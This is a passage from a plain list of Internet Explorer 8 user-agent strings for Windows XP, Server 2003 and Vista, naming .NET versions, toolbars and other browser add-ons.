.NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; chromeframe/17.0.963.65; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbARS/5.8.0.12304)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; Sleipnir/2.9.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; .NET CLR 2.0.50727; msn OptimizedIE8;ENUS)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; AskTbMP3/5.11.3.15590)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.1; Sleipnir/2.9.4)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.3.4.23051)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; TheWorld)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; Zune 3.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; AskTbGAM1/5.9.1.14019)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; KKMAN3.2; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MRA 4.3 (build 01218); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MS-RTC LM 8; .NET CLR 2.0.50727; Zune 2.5; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MS-RTC LM 8; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MS-RTC LM 8; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MathPlayer 2.10b)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MathPlayer 2.10d; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MathPlayer 2.10d; FDM; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Maxthon 2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Maxthon)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; FDM)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; TheWorld)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; KKMAN3.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; chromeframe)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; chromeframe; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; QQDownload 665; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; QQDownload 679; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; QQPinyinSetup 620; QQPinyin 689; QQPinyin 730)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; QQPinyinSetup 620; QQPinyin 730; GTB6.5; QQDownload 661; AskTB5.5)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; QQWubi 87; QQDownload 665; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Trident/4.0; Zango 10.1.181.0; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Windows-Media-Player/10.00.00.3990; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; YPC 3.2.0; MSN Optimized;GB; .NET CLR 2.0.50727; InfoPath.1; MSN Optimized;GB)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Zango 10.1.181.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe/10.0.648.204; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe/12.0.742.100; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe/14.0.803.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe/20.0.1132.57; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe/27.0.1453.116; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 3.5.30729; FDM)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; iCafeMedia; GTB6.5; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; iCafeMedia; TencentTraveler 4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; iOpus-I-M; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; en-GB)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; fr-CA)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; ko) Opera 10.53\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.0450\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; FDM; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 3.0.04506.648; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; uZard/1.0; Server_KO_SKT)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; uZardWeb/1.0; Server_KO_KTF)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; uZardWeb/1.0; Server_USA)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SLCC2; Maxthon 2.0; DigExt; Zune 4.7)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0;   Acoo Browser; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;   SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; .NET CLR 3.5.30729; .NET4.0C; OfficeLiveConnector.1.5; .NET4.0E; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Avant Browser; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Avant Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 3.5.21022; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FBSMTWB; FunWebProducts; GTB6.6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; InfoPath.3; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FBSMTWB; GTB6.3; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FBSMTWB; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; AskTB5.5)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FDM)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FunWebProducts; GTB0.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; AskTB5.6)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FunWebProducts; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FunWebProducts; GTB6.3; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.0.0; .NET CLR 3.0.30729; InfoPath.2; MS-RTC LM 8; .NE\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FunWebProducts; GTB6.6; SLCC1; .NET CLR 2.0.50727; eSobiSubscriber 2.0.4.16; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FunWebProducts; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FunWebProducts; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB0.0; (R1 1.6); SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB0.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.1; A\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.21022; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; 